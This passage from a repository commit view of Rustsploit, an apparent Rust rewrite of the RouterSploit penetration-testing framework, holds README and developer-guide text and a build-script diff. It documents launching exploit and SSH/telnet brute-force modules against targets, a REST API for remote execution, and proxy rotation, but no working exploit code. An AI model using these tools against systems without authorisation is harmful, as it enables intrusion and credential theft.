This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```text
rsf> help
rsf> modules
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
### 🔧 Run in CLI Mode
## CLI Usage
#### ▶ Exploit
```
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
```
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
#### 🔐 Credentials
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## 🌐 Proxy Retry Logic (Shell Mode)
## Proxy Workflow
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## 📂 Module System
## How Modules Are Discovered
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
Each module must define:
```rust
pub async fn run(target: &str) -> Result<()>
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional:
```rust
pub async fn run_interactive(target: &str) -> Result<()>
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
---
## 🧼 Shell State
## Contributing
The shell keeps:
- Current module
- Current target
- Proxy list + state
Contributions are welcome! High-level suggestions:
No session state is saved — everything resets on restart.
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
---
## 💡 Want to Add a Module?
## Credits
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
---
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
```
---
+174 -57
View File
@@ -1,96 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
)?;
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}").unwrap();
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if !dir.is_dir() {
return Ok(());
}
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
+2407
View File
File diff suppressed because it is too large Load Diff
-341
View File
@@ -1,341 +0,0 @@
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## 🧠 Framework Philosophy
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
├── build.rs
└── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
│ ├── scanners/
│ └── creds/
└── utils.rs # Common utilities
```
---
## 🔗 Module System
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
### 2. Register in `mod.rs`
```rust
pub mod ftp_weak_login;
```
---
## 🧠 Auto-Dispatch System
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## ❌ What Not To Do
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## ⚙️ CLI Usage
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
### Args:
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## 🖥️ Shell Usage
```bash
cargo run
```
Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## 🔁 Proxy Retry Logic (Shell Only)
Proxy logic only applies in shell mode (`rsf>`).
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+253
View File
@@ -0,0 +1,253 @@
# 🛠️ Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ └── rtsphead.txt
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
